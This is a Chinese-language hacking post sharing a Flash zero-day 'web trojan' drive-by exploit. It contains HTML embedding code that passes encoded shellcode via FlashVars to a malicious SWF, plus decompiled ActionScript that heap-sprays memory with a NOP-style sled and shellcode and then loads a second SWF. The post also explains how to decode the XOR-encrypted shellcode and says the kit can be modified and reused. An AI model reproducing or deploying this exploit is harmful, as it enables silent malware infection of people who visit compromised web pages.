flash 0day天窗网马最新0day -中国寒龙

以下是引用片段:
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"

codebase="[url=http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=1

0,0,0,0]

http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=10,0,0,0[/url]"

width="550" height="400" id="sdfasdf" align="middle">
<param name="allowScriptAccess" value="sameDomain" />
<param name="allowFullScreen" value="false" />
<param name="movie" value="nb.swf" />
<param name="quality" value="high" />
<param name="bgcolor" value="#ffffff" />
<param name="FlashVars" value="sc=%25u9090%25u9090%25u5858%25u5858%25u10EB%25u4B5B%25uC933%

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quality="high" bgcolor="#ffffff" width="550" height="400" name="sdfasdf" align="middle"

allowScriptAccess="sameDomain" allowFullScreen="false" type="application/x-shockwave-flash"

pluginspage="http://www.adobe.com/go/getflashplayer_cn"  /></object>


    shellcode部分是经过异或后的,密匙是bd.丢到FreShow,填上密匙解码2次就出来地址了,nb.swf是用

硕思逆出来的代码是

nb.swf 逆向代码:

package sdfasdf_fla
{
    import flash.display.*;
    import flash.events.*;
    import flash.net.*;
    import flash.utils.*;
 
    dynamic public class MainTimeline extends MovieClip
    {
        public var a:String;
        public var i:Object;
        public var b:String;
        public var loader:Loader;
        public var t:String;
        public var len:Object;
        public var ul:URLLoader;
        public var array:Array;
 
        public function MainTimeline()
        {
            addFrameScript(0, this.frame1);
            return;
        }// end function

        function frame1()
        {
            this.a = unescape("%u0d0d%u0d0d");
            this.t = this.a;
            this.b = unescape(stage.loaderInfo.parameters.sc);
            this.len = 1048576 - this.b.length - 256;
            while (this.a.length < this.len)
            {
                
                this.a = this.a + this.t;
            }
            this.a = this.a + this.b;
            this.array = new Array();
            this.i = 0;
            while (this.i < 200)
            {
                
                this.array[this.i] = new ByteArray();
                this.array[this.i].writeMultiByte(this.a, "unicode");
                var _loc_1:String;
                _loc_1.i = this.i++;
            }
            this.ul = new URLLoader();
            this.ul.dataFormat = URLLoaderDataFormat.BINARY;
            this.ul.addEventListener(Event.COMPLETE, this.onComplete);
            this.ul.load(new URLRequest("encoded.swf"));
            this.loader = new Loader();
            addChild(this.loader);
            trace("xxxxxxxxxxxxxxxxx");
            return;
        }// end function
 
        public function onComplete(param1:Event) : void
        {
            var _loc_2:* = (param1.target as URLLoader).data;
            _loc_2.uncompress();
            this.loader.loadBytes(_loc_2);
            return;
        }// end function

    }
}


    解开后会发现还有一个encoded.swf,也需要下载回来,不过这个swf是经过处理过的!硕思逆不开,不过

现在这样已经可以正常修改使用了!

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